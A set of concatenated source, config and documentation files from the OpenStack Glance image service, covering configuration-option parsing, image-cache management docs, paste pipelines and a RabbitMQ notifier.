kwargs = self._get_optparse_kwargs(group)
prefix = self._get_optparse_prefix('', group)
self._add_to_optparse(container, self.name, self.short, kwargs, prefix)
def _add_to_optparse(self, container, name, short, kwargs, prefix=''):
"""Add an option to an optparse parser or group.
:param container: an optparse.OptionContainer object
:param name: the opt name
:param short: the short opt name
:param kwargs: the keyword arguments for add_option()
:param prefix: an optional prefix to prepend to the opt name
:raises: DuplicateOptError if a naming confict is detected
"""
args = ['--' + prefix + name]
if short:
args += ['-' + short]
for a in args:
if container.has_option(a):
raise DuplicateOptError(a)
container.add_option(*args, **kwargs)
def _get_optparse_container(self, parser, group):
"""Returns an optparse.OptionContainer.
:param parser: an optparse.OptionParser
:param group: an (optional) OptGroup object
:returns: an optparse.OptionGroup if a group is given, else the parser
"""
if group is not None:
return group._get_optparse_group(parser)
else:
return parser
def _get_optparse_kwargs(self, group, **kwargs):
"""Build a dict of keyword arguments for optparse's add_option().
Most opt types extend this method to customize the behaviour of the
options added to optparse.
:param group: an optional group
:param kwargs: optional keyword arguments to add to
:returns: a dict of keyword arguments
"""
dest = self.dest
if group is not None:
dest = group.name + '_' + dest
kwargs.update({
'dest': dest,
'metavar': self.metavar,
'help': self.help,
})
return kwargs
def _get_optparse_prefix(self, prefix, group):
"""Build a prefix for the CLI option name, if required.
CLI options in a group are prefixed with the group's name in order
to avoid conflicts between similarly named options in different
groups.
:param prefix: an existing prefix to append to (e.g. 'no' or '')
:param group: an optional OptGroup object
:returns: a CLI option prefix including the group name, if appropriate
"""
if group is not None:
return group.name + '-' + prefix
else:
return prefix
class StrOpt(Opt):
"""
String opts do not have their values transformed and are returned as
str objects.
"""
pass
class BoolOpt(Opt):
"""
Bool opts are set to True or False on the command line using --optname or
--noopttname respectively.
In config files, boolean values are case insensitive and can be set using
1/0, yes/no, true/false or on/off.
"""
def _get_from_config_parser(self, cparser, section):
"""Retrieve the opt value as a boolean from ConfigParser."""
return cparser.getboolean(section, self.dest)
def _add_to_cli(self, parser, group=None):
"""Extends the base class method to add the --nooptname option."""
super(BoolOpt, self)._add_to_cli(parser, group)
self._add_inverse_to_optparse(parser, group)
def _add_inverse_to_optparse(self, parser, group):
"""Add the --nooptname option to the option parser."""
container = self._get_optparse_container(parser, group)
kwargs = self._get_optparse_kwargs(group, action='store_false')
prefix = self._get_optparse_prefix('no', group)
kwargs["help"] = "The inverse of --" + self.name
self._add_to_optparse(container, self.name, None, kwargs, prefix)
def _get_optparse_kwargs(self, group, action='store_true', **kwargs):
"""Extends the base optparse keyword dict for boolean options."""
return super(BoolOpt,
self)._get_optparse_kwargs(group, action=action, **kwargs)
class IntOpt(Opt):
"""Int opt values are converted to integers using the int() builtin."""
def _get_from_config_parser(self, cparser, section):
"""Retrieve the opt value as a integer from ConfigParser."""
return cparser.getint(section, self.dest)
def _get_optparse_kwargs(self, group, **kwargs):
"""Extends the base optparse keyword dict for integer options."""
return super(IntOpt,
self)._get_optparse_kwargs(group, type='int', **kwargs)
class FloatOpt(Opt):
"""Float opt values are converted to floats using the float() builtin."""
def _get_from_config_parser(self, cparser, section):
"""Retrieve the opt value as a float from ConfigParser."""
return cparser.getfloat(section, self.dest)
def _get_optparse_kwargs(self, group, **kwargs):
"""Extends the base optparse keyword dict for float options."""
return super(FloatOpt,
self)._get_optparse_kwargs(group, type='float', **kwargs)
class ListOpt(Opt):
"""
List opt values are simple string values separated by commas. The opt value
is a list containing these strings.
"""
def _get_from_config_parser(self, cparser, section):
"""Retrieve the opt value as a list from ConfigParser."""
return cparser.get(section, self.dest).split(',')
def _get_optparse_kwargs(self, group, **kwargs):
"""Extends the base optparse keyword dict for list options."""
return super(ListOpt,
self)._get_optparse_kwargs(group,
type='string',
action='callback',
callback=self._parse_list,
**kwargs)
def _parse_list(self, option, opt, value, parser):
"""An optparse callback for parsing an option value into a list."""
setattr(parser.values, self.dest, value.split(','))
class MultiStrOpt(Opt):
"""
Multistr opt values are string opts which may be specified multiple times.
The opt value is a list containing all the string values specified.
"""
def _get_from_config_parser(self, cparser, section):
"""Retrieve the opt value as a multistr from ConfigParser."""
# FIXME(markmc): values spread across the CLI and multiple
# config files should be appended
value = \
super(MultiStrOpt, self)._get_from_config_parser(cparser, section)
return value if value is None else [value]
def _get_optparse_kwargs(self, group, **kwargs):
"""Extends the base optparse keyword dict for multi str options."""
return super(MultiStrOpt,
self)._get_optparse_kwargs(group, action='append')
class OptGroup(object):
"""
Represents a group of opts.
CLI opts in the group are automatically prefixed with the group name.
Each group corresponds to a section in config files.
An OptGroup object has no public methods, but has a number of public string
properties:
name:
the name of the group
title:
the group title as displayed in --help
help:
the group description as displayed in --help
"""
def __init__(self, name, title=None, help=None):
"""Constructs an OptGroup object.
:param name: the group name
:param title: the group title for --help
:param help: the group description for --help
"""
self.name = name
if title is None:
self.title = "%s options" % title
else:
self.title = title
self.help = help
self._opts = {} # dict of dicts of {opt:, override:, default:)
self._optparse_group = None
def _register_opt(self, opt):
"""Add an opt to this group.
:param opt: an Opt object
:returns: False if previously registered, True otherwise
:raises: DuplicateOptError if a naming conflict is detected
"""
if _is_opt_registered(self._opts, opt):
return False
self._opts[opt.dest] = {'opt': opt, 'override': None, 'default': None}
return True
def _get_optparse_group(self, parser):
"""Build an optparse.OptionGroup for this group."""
if self._optparse_group is None:
self._optparse_group = \
optparse.OptionGroup(parser, self.title, self.help)
return self._optparse_group
class ConfigOpts(object):
"""
Config options which may be set on the command line or in config files.
ConfigOpts is a configuration option manager with APIs for registering
option schemas, grouping options, parsing option values and retrieving
the values of options.
"""
def __init__(self,
project=None,
prog=None,
version=None,
usage=None,
default_config_files=None):
"""Construct a ConfigOpts object.
Automatically registers the --config-file option with either a supplied
list of default config files, or a list from find_config_files().
:param project: the toplevel project name, used to locate config files
:param prog: the name of the program (defaults to sys.argv[0] basename)
:param version: the program version (for --version)
:param usage: a usage string (%prog will be expanded)
:param default_config_files: config files to use by default
"""
if prog is None:
prog = os.path.basename(sys.argv[0])
if default_config_files is None:
default_config_files = find_config_files(project, prog)
self.project = project
self.prog = prog
self.version = version
self.usage = usage
self.default_config_files = default_config_files
self._opts = {} # dict of dicts of (opt:, override:, default:)
self._groups = {}
self._args = None
self._cli_values = {}
self._oparser = optparse.OptionParser(prog=self.prog,
version=self.version,
usage=self.usage)
self._cparser = None
self.register_cli_opt(\
MultiStrOpt('config-file',
default=self.default_config_files,
metavar='PATH',
help='Path to a config file to use. Multiple config '
'files can be specified, with values in later '
'files taking precedence. The default files used '
'are: %s' % (self.default_config_files, )))
def __call__(self, args=None):
"""Parse command line arguments and config files.
Calling a ConfigOpts object causes the supplied command line arguments
and config files to be parsed, causing opt values to be made available
as attributes of the object.
The object may be called multiple times, each time causing the previous
set of values to be overwritten.
:params args: command line arguments (defaults to sys.argv[1:])
:returns: the list of arguments left over after parsing options
:raises: SystemExit, ConfigFilesNotFoundError, ConfigFileParseError
"""
self.reset()
self._args = args
(values, args) = self._oparser.parse_args(self._args)
self._cli_values = vars(values)
if self.config_file:
self._parse_config_files(self.config_file)
return args
def __getattr__(self, name):
"""Look up an option value and perform string substitution.
:param name: the opt name (or 'dest', more precisely)
:returns: the option value (after string subsititution) or a GroupAttr
:raises: NoSuchOptError,ConfigFileValueError,TemplateSubstitutionError
"""
return self._substitute(self._get(name))
def reset(self):
"""Reset the state of the object to before it was called."""
self._args = None
self._cli_values = None
self._cparser = None
def register_opt(self, opt, group=None):
"""Register an option schema.
Registering an option schema makes any option value which is previously
or subsequently parsed from the command line or config files available
as an attribute of this object.
:param opt: an instance of an Opt sub-class
:param group: an optional OptGroup object or group name
:return: False if the opt was already register, True otherwise
:raises: DuplicateOptError
"""
if group is not None:
return self._get_group(group)._register_opt(opt)
if _is_opt_registered(self._opts, opt):
return False
self._opts[opt.dest] = {'opt': opt, 'override': None, 'default': None}
return True
def register_opts(self, opts, group=None):
"""Register multiple option schemas at once."""
for opt in opts:
self.register_opt(opt, group)
def register_cli_opt(self, opt, group=None):
"""Register a CLI option schema.
CLI option schemas must be registered before the command line and
config files are parsed. This is to ensure that all CLI options are
show in --help and option validation works as expected.
:param opt: an instance of an Opt sub-class
:param group: an optional OptGroup object or group name
:return: False if the opt was already register, True otherwise
:raises: DuplicateOptError, ArgsAlreadyParsedError
"""
if self._args != None:
raise ArgsAlreadyParsedError("cannot register CLI option")
if not self.register_opt(opt, group):
return False
if group is not None:
group = self._get_group(group)
opt._add_to_cli(self._oparser, group)
return True
def register_cli_opts(self, opts, group=None):
"""Register multiple CLI option schemas at once."""
for opt in opts:
self.register_cli_opt(opt, group)
def register_group(self, group):
"""Register an option group.
An option group must be registered before options can be registered
with the group.
:param group: an OptGroup object
"""
if group.name in self._groups:
return
self._groups[group.name] = copy.copy(group)
def set_override(self, name, override, group=None):
"""Override an opt value.
Override the command line, config file and default values of a
given option.
:param name: the name/dest of the opt
:param override: the override value
:param group: an option OptGroup object or group name
:raises: NoSuchOptError, NoSuchGroupError
"""
opt_info = self._get_opt_info(name, group)
opt_info['override'] = override
def set_default(self, name, default, group=None):
"""Override an opt's default value.
Override the default value of given option. A command line or
config file value will still take precedence over this default.
:param name: the name/dest of the opt
:param default: the default value
:param group: an option OptGroup object or group name
:raises: NoSuchOptError, NoSuchGroupError
"""
opt_info = self._get_opt_info(name, group)
opt_info['default'] = default
def log_opt_values(self, logger, lvl):
"""Log the value of all registered opts.
It's often useful for an app to log its configuration to a log file at
startup for debugging. This method dumps to the entire config state to
the supplied logger at a given log level.
:param logger: a logging.Logger object
:param lvl: the log level (e.g. logging.DEBUG) arg to logger.log()
"""
logger.log(lvl, "*" * 80)
logger.log(lvl, "Configuration options gathered from:")
logger.log(lvl, "command line args: %s", self._args)
logger.log(lvl, "config files: %s", self.config_file)
logger.log(lvl, "=" * 80)
for opt_name in sorted(self._opts):
logger.log(lvl, "%-30s = %s", opt_name, getattr(self, opt_name))
for group_name in self._groups:
group_attr = self.GroupAttr(self, group_name)
for opt_name in sorted(self._groups[group_name]._opts):
logger.log(lvl, "%-30s = %s",
"%s.%s" % (group_name, opt_name),
getattr(group_attr, opt_name))
logger.log(lvl, "*" * 80)
def print_usage(self, file=None):
"""Print the usage message for the current program."""
self._oparser.print_usage(file)
def _get(self, name, group=None):
"""Look up an option value.
:param name: the opt name (or 'dest', more precisely)
:param group: an option OptGroup
:returns: the option value, or a GroupAttr object
:raises: NoSuchOptError, NoSuchGroupError, ConfigFileValueError,
TemplateSubstitutionError
"""
if group is None and name in self._groups:
return self.GroupAttr(self, name)
if group is not None:
group = self._get_group(group)
info = self._get_opt_info(name, group)
default, opt, override = map(lambda k: info[k], sorted(info.keys()))
if override is not None:
return override
if self._cparser is not None:
section = group.name if group is not None else 'DEFAULT'
try:
return opt._get_from_config_parser(self._cparser, section)
except (ConfigParser.NoOptionError,
ConfigParser.NoSectionError):
pass
except ValueError, ve:
raise ConfigFileValueError(str(ve))
name = name if group is None else group.name + '_' + name
value = self._cli_values.get(name, None)
if value is not None:
return value
if default is not None:
return default
return opt.default
def _substitute(self, value):
"""Perform string template substitution.
Substititue any template variables (e.g. $foo, ${bar}) in the supplied
string value(s) with opt values.
:param value: the string value, or list of string values
:returns: the substituted string(s)
"""
if isinstance(value, list):
return [self._substitute(i) for i in value]
elif isinstance(value, str):
tmpl = string.Template(value)
return tmpl.safe_substitute(self.StrSubWrapper(self))
else:
return value
def _get_group(self, group_or_name):
"""Looks up a OptGroup object.
Helper function to return an OptGroup given a parameter which can
either be the group's name or an OptGroup object.
The OptGroup object returned is from the internal dict of OptGroup
objects, which will be a copy of any OptGroup object that users of
the API have access to.
:param group_or_name: the group's name or the OptGroup object itself
:raises: NoSuchGroupError
"""
if isinstance(group_or_name, OptGroup):
group_name = group_or_name.name
else:
group_name = group_or_name
if not group_name in self._groups:
raise NoSuchGroupError(group_name)
return self._groups[group_name]
def _get_opt_info(self, opt_name, group=None):
"""Return the (opt, override, default) dict for an opt.
:param opt_name: an opt name/dest
:param group: an optional group name or OptGroup object
:raises: NoSuchOptError, NoSuchGroupError
"""
if group is None:
opts = self._opts
else:
group = self._get_group(group)
opts = group._opts
if not opt_name in opts:
raise NoSuchOptError(opt_name, group)
return opts[opt_name]
def _parse_config_files(self, config_files):
"""Parse the supplied configuration files.
:raises: ConfigFilesNotFoundError, ConfigFileParseError
"""
self._cparser = ConfigParser.SafeConfigParser()
try:
read_ok = self._cparser.read(config_files)
except ConfigParser.ParsingError, cpe:
raise ConfigFileParseError(cpe.filename, cpe.message)
if read_ok != config_files:
not_read_ok = filter(lambda f: f not in read_ok, config_files)
raise ConfigFilesNotFoundError(not_read_ok)
class GroupAttr(object):
"""
A helper class representing the option values of a group as attributes.
"""
def __init__(self, conf, group):
"""Construct a GroupAttr object.
:param conf: a ConfigOpts object
:param group: a group name or OptGroup object
"""
self.conf = conf
self.group = group
def __getattr__(self, name):
"""Look up an option value and perform template substitution."""
return self.conf._substitute(self.conf._get(name, self.group))
class StrSubWrapper(object):
"""
A helper class exposing opt values as a dict for string substitution.
"""
def __init__(self, conf):
"""Construct a StrSubWrapper object.
:param conf: a ConfigOpts object
"""
self.conf = conf
def __getitem__(self, key):
"""Look up an opt value from the ConfigOpts object.
:param key: an opt name
:returns: an opt value
:raises: TemplateSubstitutionError if attribute is a group
"""
value = getattr(self.conf, key)
if isinstance(value, self.conf.GroupAttr):
raise TemplateSubstitutionError(
'substituting group %s not supported' % key)
return value
class CommonConfigOpts(ConfigOpts):
DEFAULT_LOG_FORMAT = ('%(asctime)s %(process)d %(levelname)8s '
'[%(name)s] %(message)s')
DEFAULT_LOG_DATE_FORMAT = "%Y-%m-%d %H:%M:%S"
common_cli_opts = [
BoolOpt('debug',
short='d',
default=False,
help='Print debugging output'),
BoolOpt('verbose',
short='v',
default=False,
help='Print more verbose output'),
]
logging_cli_opts = [
StrOpt('log-config',
metavar='PATH',
help='If this option is specified, the logging configuration '
'file specified is used and overrides any other logging '
'options specified. Please see the Python logging module '
'documentation for details on logging configuration '
'files.'),
StrOpt('log-format',
default=DEFAULT_LOG_FORMAT,
metavar='FORMAT',
help='A logging.Formatter log message format string which may '
'use any of the available logging.LogRecord attributes. '
'Default: %default'),
StrOpt('log-date-format',
default=DEFAULT_LOG_DATE_FORMAT,
metavar='DATE_FORMAT',
help='Format string for %(asctime)s in log records. '
'Default: %default'),
StrOpt('log-file',
metavar='PATH',
help='(Optional) Name of log file to output to. '
'If not set, logging will go to stdout.'),
StrOpt('log-dir',
help='(Optional) The directory to keep log files in '
'(will be prepended to --logfile)'),
BoolOpt('use-syslog',
default=False,
help='Use syslog for logging.'),
StrOpt('syslog-log-facility',
default='LOG_USER',
help='syslog facility to receive log lines')
]
def __init__(self, **kwargs):
super(CommonConfigOpts, self).__init__(**kwargs)
self.register_cli_opts(self.common_cli_opts)
self.register_cli_opts(self.logging_cli_opts)
<file_sep>#!/bin/sh
set -e
case $1 in
purge)
echo "Purging glance. Backup of /var/lib/glance can be found at /var/lib/glance.tar.bz2"
if which deluser > /dev/null 2>&1; then
deluser --system --quiet --backup-to /var/lib glance
fi
[ -e /var/lib/glance ] && rm -rf /var/lib/glance
[ -e /var/log/glance ] && rm -rf /var/log/glance
;;
esac
#DEBHELPER#
<file_sep>..
Copyright 2011 OpenStack, LLC
All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License"); you may
not use this file except in compliance with the License. You may obtain
a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
License for the specific language governing permissions and limitations
under the License.
The Glance Image Cache
======================
The Glance API server may be configured to have an optional local image cache.
A local image cache stores a copy of image files, essentially enabling multiple
API servers to serve the same image file, resulting in an increase in
scalability due to an increased number of endpoints serving an image file.
This local image cache is transparent to the end user -- in other words, the
end user doesn't know that the Glance API is streaming an image file from
its local cache or from the actual backend storage system.
Managing the Glance Image Cache
-------------------------------
While image files are automatically placed in the image cache on successful
requests to ``GET /images/<IMAGE_ID>``, the image cache is not automatically
managed. Here, we describe the basics of how to manage the local image cache
on Glance API servers and how to automate this cache management.
Controlling the Growth of the Image Cache
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The image cache has a configurable maximum size (the ``image_cache_max_size``
configuration file option. However, when images are succesfully returned
from a call to ``GET /images/<IMAGE_ID>``, the image cache automatically
writes the image file to its cache, regardless of whether the resulting
write would make the image cache's size exceed the value of
``image_cache_max_size``. In order to keep the image cache at or below this
maximum cache size, you need to run the ``glance-cache-pruner`` executable.
The recommended practice is to use ``cron`` to fire ``glance-cache-pruner``
at a regular interval.
Cleaning the Image Cache
~~~~~~~~~~~~~~~~~~~~~~~~
Over time, the image cache can accumulate image files that are either in
a stalled or invalid state. Stalled image files are the result of an image
cache write failing to complete. Invalid image files are the result of an
image file not being written properly to disk.
To remove these types of files, you run the ``glance-cache-cleaner``
executable.
The recommended practice is to use ``cron`` to fire ``glance-cache-cleaner``
at a semi-regular interval.
Prefetching Images into the Image Cache
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Some installations have base (sometimes called "golden") images that are
very commonly used to boot virtual machines. When spinning up a new API
server, administrators may wish to prefetch these image files into the
local image cache to ensure that reads of those popular image files come
from a local cache.
To queue an image for prefetching, you can use one of the following methods:
* If the ``cache_manage`` middleware is enabled in the application pipeline,
you may call ``PUT /queued-images/<IMAGE_ID>`` to queue the image with
identifier ``<IMAGE_ID>``
Alternately, you can use the ``glance-cache-manage`` program to queue the
image. This program may be run from a different host than the host
containing the image cache. Example usage::
$> glance-cache-manage --host=<HOST> queue-image <IMAGE_ID>
This will queue the image with identifier ``<IMAGE_ID>`` for prefetching
* You may use the ``glance-cache-queue-image`` executable, supplying a list
of image identifiers to queue for prefetching into the cache.
Example usage::
$> glance-cache-queue-image 12345 ABCDE
would queue the images with identifiers ``12345`` and ``ABCDE`` for
prefetching.
Once you have queued the images you wish to prefetch, call the
``glance-cache-prefetcher`` executable, which will prefetch all queued images
concurrently, reporting the results of the fetch for each image, as shown
below::
TODO
Finding Which Images are in the Image Cache
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
You can find out which images are in the image cache using one of the
following methods:
* If the ``cache_manage`` middleware is enabled in the application pipeline,
you may call ``GET /cached-images`` to see a JSON-serialized list of
mappings that show cached images, the number of cache hits on each image,
the size of the image, and the times they were last accessed.
Alternately, you can use the ``glance-cache-manage`` program. This program
may be run from a different host than the host containing the image cache.
Example usage::
$> glance-cache-manage --host=<HOST> list-cached
* You can issue the following call on \*nix systems (on the host that contains
the image cache)::
$> ls -lhR $IMAGE_CACHE_DIR
where ``$IMAGE_CACHE_DIR`` is the value of the ``image_cache_dir``
configuration variable.
Note that the image's cache hit is not shown using this method.
Manually Removing Images from the Image Cache
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If the ``cache_manage`` middleware is enabled, you may call
``DELETE /cached-images/<IMAGE_ID>`` to remove the image file for image
with identifier ``<IMAGE_ID>`` from the cache.
Alternately, you can use the ``glance-cache-manage`` program. Example usage::
$> glance-cache-manage --host=<HOST> delete-cached-image <IMAGE_ID>
<file_sep># Default minimal pipeline
[pipeline:glance-registry]
pipeline = context registryapp
# Use the following pipeline for keystone auth
# i.e. in glance-registry.conf:
# [paste_deploy]
# flavor = keystone
#
[pipeline:glance-registry-keystone]
pipeline = authtoken auth-context registryapp
[app:registryapp]
paste.app_factory = glance.common.wsgi:app_factory
glance.app_factory = glance.registry.api.v1:API
[filter:context]
context_class = glance.registry.context.RequestContext
paste.filter_factory = glance.common.wsgi:filter_factory
glance.filter_factory = glance.common.context:ContextMiddleware
[filter:authtoken]
paste.filter_factory = keystone.middleware.auth_token:filter_factory
service_protocol = http
service_host = 127.0.0.1
service_port = 5000
auth_host = 127.0.0.1
auth_port = 35357
auth_protocol = http
auth_uri = http://127.0.0.1:5000/
admin_token = <PASSWORD>
[filter:auth-context]
context_class = glance.registry.context.RequestContext
paste.filter_factory = glance.common.wsgi:filter_factory
glance.filter_factory = keystone.middleware.glance_auth_token:KeystoneContextMiddleware
<file_sep># Default minimal pipeline
[pipeline:glance-api]
pipeline = versionnegotiation context apiv1app
# Use the following pipeline for keystone auth
# i.e. in glance-api.conf:
# [paste_deploy]
# flavor = keystone
#
[pipeline:glance-api-keystone]
pipeline = versionnegotiation authtoken auth-context apiv1app
# Use the following pipeline to enable transparent caching of image files
# i.e. in glance-api.conf:
# [paste_deploy]
# flavor = caching
#
[pipeline:glance-api-caching]
pipeline = versionnegotiation context cache apiv1app
# Use the following pipeline for keystone auth with caching
# i.e. in glance-api.conf:
# [paste_deploy]
# flavor = keystone+caching
#
[pipeline:glance-api-keystone+caching]
pipeline = versionnegotiation authtoken auth-context cache apiv1app
# Use the following pipeline to enable the Image Cache Management API
# i.e. in glance-api.conf:
# [paste_deploy]
# flavor = cachemanagement
#
[pipeline:glance-api-cachemanagement]
pipeline = versionnegotiation context cache cachemanage apiv1app
# Use the following pipeline for keystone auth with cache management
# i.e. in glance-api.conf:
# [paste_deploy]
# flavor = keystone+cachemanagement
#
[pipeline:glance-api-keystone+cachemanagement]
pipeline = versionnegotiation authtoken auth-context cache cachemanage apiv1app
[app:apiv1app]
paste.app_factory = glance.common.wsgi:app_factory
glance.app_factory = glance.api.v1.router:API
[filter:versionnegotiation]
paste.filter_factory = glance.common.wsgi:filter_factory
glance.filter_factory = glance.api.middleware.version_negotiation:VersionNegotiationFilter
[filter:cache]
paste.filter_factory = glance.common.wsgi:filter_factory
glance.filter_factory = glance.api.middleware.cache:CacheFilter
[filter:cachemanage]
paste.filter_factory = glance.common.wsgi:filter_factory
glance.filter_factory = glance.api.middleware.cache_manage:CacheManageFilter
[filter:context]
paste.filter_factory = glance.common.wsgi:filter_factory
glance.filter_factory = glance.common.context:ContextMiddleware
[filter:authtoken]
paste.filter_factory = keystone.middleware.auth_token:filter_factory
service_protocol = http
service_host = 127.0.0.1
service_port = 5000
auth_host = 127.0.0.1
auth_port = 35357
auth_protocol = http
auth_uri = http://127.0.0.1:5000/
admin_token = <PASSWORD>
[filter:auth-context]
paste.filter_factory = glance.common.wsgi:filter_factory
glance.filter_factory = keystone.middleware.glance_auth_token:KeystoneContextMiddleware
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011, OpenStack LLC.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import json
import logging
import time
import kombu.connection
import kombu.entity
from glance.common import cfg
from glance.notifier import strategy
logger = logging.getLogger('glance.notifier.notify_kombu')
class KombuMaxRetriesReached(Exception):
pass
class RabbitStrategy(strategy.Strategy):
"""A notifier that puts a message on a queue when called."""
opts = [
cfg.StrOpt('rabbit_host', default='localhost'),
cfg.IntOpt('rabbit_port', default=5672),
cfg.BoolOpt('rabbit_use_ssl', default=False),
cfg.StrOpt('rabbit_userid', default='guest'),
cfg.StrOpt('rabbit_password', default='<PASSWORD>'),
cfg.StrOpt('rabbit_virtual_host', default='/'),
cfg.StrOpt('rabbit_notification_exchange', default='glance'),
cfg.StrOpt('rabbit_notification_topic',
default='glance_notifications'),
cfg.StrOpt('rabbit_max_retries', default=0),
cfg.StrOpt('rabbit_retry_backoff', default=2),
cfg.StrOpt('rabbit_retry_max_backoff', default=30)
]
def __init__(self, conf):
"""Initialize the rabbit notification strategy."""
self._conf = conf
self._conf.register_opts(self.opts)
self.topic = self._conf.rabbit_notification_topic
self.max_retries = self._conf.rabbit_max_retries
# NOTE(comstud): When reading the config file, these values end
# up being strings, and we need them as ints.
self.retry_backoff = int(self._conf.rabbit_retry_backoff)
self.retry_max_backoff = int(self._conf.rabbit_retry_max_backoff)
self.connection = None
self.retry_attempts = 0
try:
self.reconnect()
except KombuMaxRetriesReached:
pass
def _close(self):
"""Close connection to rabbit."""
try:
self.connection.close()
except self.connection_errors:
pass
self.connection = None
def _connect(self):
"""Connect to rabbit. Exceptions should be handled by the
caller.
"""
log_info = {}
log_info['hostname'] = self._conf.rabbit_host
log_info['port'] = self._conf.rabbit_port
if self.connection:
logger.info(_("Reconnecting to AMQP server on "
"%(hostname)s:%(port)d") % log_info)
self._close()
else:
logger.info(_("Connecting to AMQP server on "
"%(hostname)s:%(port)d") % log_info)
self.connection = kombu.connection.BrokerConnection(
hostname=self._conf.rabbit_host,
port=self._conf.rabbit_port,
userid=self._conf.rabbit_userid,
password=self._conf.rabbit_password,
virtual_host=self._conf.rabbit_virtual_host,
ssl=self._conf.rabbit_use_ssl)
self.connection_errors = self.connection.connection_errors
self.connection.connect()
self.channel = self.connection.channel()
self.exchange = kombu.entity.Exchange(
channel=self.channel,
type="topic",
name=self._conf.rabbit_notification_exchange)
# NOTE(jerdfelt): Normally the consumer would create the queues,
# but we do this to ensure that messages don't get dropped if the
# consumer is started after we do
for priority in ["WARN", "INFO", "ERROR"]:
routing_key = "%s.%s" % (self.topic, priority.lower())
queue = kombu.entity.Queue(
channel=self.channel,
exchange=self.exchange,
durable=True,
name=routing_key,
routing_key=routing_key)
queue.declare()
logger.info(_("Connected to AMQP server on "
"%(hostname)s:%(port)d") % log_info)
def reconnect(self):
"""Handles reconnecting and re-establishing queues."""
while True:
self.retry_attempts += 1
try:
self._connect()
return
except self.connection_errors, e:
pass
except Exception, e:
# NOTE(comstud): Unfortunately it's possible for amqplib
# to return an error not covered by its transport
# connection_errors in the case of a timeout waiting for
# a protocol response. (See paste link in LP888621 for
# nova.) So, we check all exceptions for 'timeout' in them
# and try to reconnect in this case.
if 'timeout' not in str(e):
raise
log_info = {}
log_info['err_str'] = str(e)
log_info['max_retries'] = self.max_retries
log_info['hostname'] = self._conf.rabbit_host
log_info['port'] = self._conf.rabbit_port
if self.max_retries and self.retry_attempts >= self.max_retries:
logger.exception(_('Unable to connect to AMQP server on '
'%(hostname)s:%(port)d after %(max_retries)d '
'tries: %(err_str)s') % log_info)
if self.connection:
self._close()
raise KombuMaxRetriesReached
sleep_time = self.retry_backoff * self.retry_attempts
if self.retry_max_backoff:
sleep_time = min(sleep_time, self.retry_max_backoff)
log_info['sleep_time'] = sleep_time
logger.exception(_('AMQP server on %(hostname)s:%(port)d is'
' unreachable: %(err_str)s. Trying again in '
'%(sleep_time)d seconds.') % log_info)
time.sleep(sleep_time)
def log_failure(self, msg, priority):
"""Fallback to logging when we can't send to rabbit."""
logger.error(_('Notification with priority %(priority)s failed; '
'msg=%s') % msg)
def _send_message(self, msg, routing_key):
"""Send a message. Caller needs to catch exceptions for retry."""
msg = self.exchange.Message(json.dumps(message))
self.exchange.publish(msg, routing_key=routing_key)
def _notify(self, msg, priority):
"""Send a notification and retry if needed."""
self.retry_attempts = 0
if not self.connection:
try:
self.reconnect()
except KombuMaxRetriesReached:
self.log_failure(msg, priority)
return
routing_key = "%s.%s" % (self.topic, priority.lower())
while True:
try:
self._send_message(msg, routing_key)
return
except self.connection_errors, e:
pass
except Exception, e:
# NOTE(comstud): Unfortunately it's possible for amqplib
# to return an error not covered by its transport
# connection_errors in the case of a timeout waiting for
# a protocol response. (See paste link in LP888621 for
# nova.) So, we check all exceptions for 'timeout' in them
# and try to reconnect in this case.
if 'timeout' not in str(e):
raise
logger.exception(_("Unable to send notification: %s") % str(e))
try:
self.reconnect()
except KombuMaxRetriesReached:
break
self.log_failure(msg, priority)
def warn(self, msg):
self._notify(msg, "WARN")
def info(self, msg):
self._notify(msg, "INFO")
def error(self, msg):
self._notify(msg, "ERROR")
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011, OpenStack LLC.
# Copyright 2012, Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import datetime
import uuid
import socket
from glance.common import cfg
from glance.common import exception
from glance.common import utils
_STRATEGIES = {
"logging": "glance.notifier.notify_log.LoggingStrategy",
"rabbit": "glance.notifier.notify_kombu.RabbitStrategy",
"noop": "glance.notifier.notify_noop.NoopStrategy",
"default": "glance.notifier.notify_noop.NoopStrategy",
}
class Notifier(object):
"""Uses a notification strategy to send out messages about events."""
opts = [
cfg.StrOpt('notifier_strategy', default='default')
]
def __init__(self, conf, strategy=None):
conf.register_opts(self.opts)
strategy = conf.notifier_strategy
try:
self.strategy = utils.import_class(_STRATEGIES[strategy])(conf)
except KeyError, ImportError:
raise exception.InvalidNotifierStrategy(strategy=strategy)
@staticmethod
def generate_message(event_type, priority, payload):
return {
"message_id": str(uuid.uuid4()),
"publisher_id": socket.gethostname(),
"event_type": event_type,
"priority": priority,
"payload": payload,
"timestamp": str(datetime.datetime.utcnow()),
}
def warn(self, event_type, payload):
msg = self.generate_message(event_type, "WARN", payload)
self.strategy.warn(msg)
def info(self, event_type, payload):
msg = self.generate_message(event_type, "INFO", payload)
self.strategy.info(msg)
def error(self, event_type, payload):
msg = self.generate_message(event_type, "ERROR", payload)
self.strategy.error(msg)
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
